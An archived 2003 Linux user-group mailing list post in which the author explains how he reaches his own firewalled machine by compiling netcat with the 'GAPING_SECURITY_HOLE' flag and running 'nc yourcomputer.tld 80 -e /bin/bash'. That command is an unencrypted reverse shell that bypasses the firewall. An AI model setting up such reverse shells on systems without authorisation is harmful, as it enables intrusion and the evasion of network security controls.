[PLUG] SSHing to a box behind a firewall... netcat maybe?

Matt Alexander m at pdxlug.org
Fri Dec 26 17:50:02 UTC 2003


Matt Alexander said:
> Computer A is running sshd and is behind a firewall that blocks all
> connections initiated from the outside.  Computer B is on the outside.
>
> Is it possible for A to create a tunnel to B and then for the user at B to
> ssh back through that tunnel to A?
>
> I was thinking that maybe the magical netcat
>    http://freshmeat.net/projects/netcat
> could possibly be used to accomplish this.

I figured it out for anyone who's interested...  Nothing's encrypted yet,
although cryptcat (http://sourceforge.net/projects/cryptcat/) should do it
for me as soon as I figure out how to compile it on my RH 9 box.

Step 1: Download and extract netcat:
http://freshmeat.net/redir/netcat/7041/url_tgz/nc110.tgz

Step 2: Add "#include resolv.h" to netcat.c if you want it to successfully
compile on Linux.

Step 3: make linux DFLAGS=-DGAPING_SECURITY_HOLE

Step 4: Start netcat listening on your home box:
$ nc -l -p 80

Step 5: Start netcat on the box behind the firewall:
$ nc yourcomputer.tld 80 -e /bin/bash

Step 6: On your home box, start typing shell commands that are executed on
the box behind the firewall.




More information about the PLUG mailing list